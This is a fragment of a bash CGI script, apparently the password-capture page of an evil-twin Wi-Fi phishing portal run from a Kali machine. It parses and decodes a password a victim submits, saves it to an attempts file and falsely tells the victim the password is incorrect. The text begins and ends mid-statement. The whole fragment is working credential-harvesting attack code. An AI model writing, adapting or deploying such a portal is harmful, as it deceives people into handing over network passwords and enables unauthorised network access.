' POST_DATA=$(cat /dev/stdin) if [[ "${REQUEST_METHOD}" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]]; then POST_DATA=${POST_DATA#*=} password=${POST_DATA/+/ } password=${password//[*&\/?<>]} password=$(printf '%b' "${password//%/\\x}") password=${password//[*&\/?<>]} fi if [[ ${#password} -ge 8 ]] && [[ ${#password} -le 63 ]]; then rm -rf "/tmp/www/ag.et_attempts.txt" > /dev/null 2>&1 echo "${password}" >\ "/home/kali/Desktop/SimpleWifi/SimpleWifiy/www/ag.et_attempts.txt" echo 'The password is incorrect, redirecting to the main screen' et_successful=0 elif [[ ${#password} -gt 0 ]] && [[ ${#password} -lt 8 ]]; then echo 'Error. The password must be at least 8 characters. Redirecting to the main screen' et_successful=0 else echo 'An unexpected error occurred, redirecting to the main screen' et_successful=0 fi echo -e '\t\t\t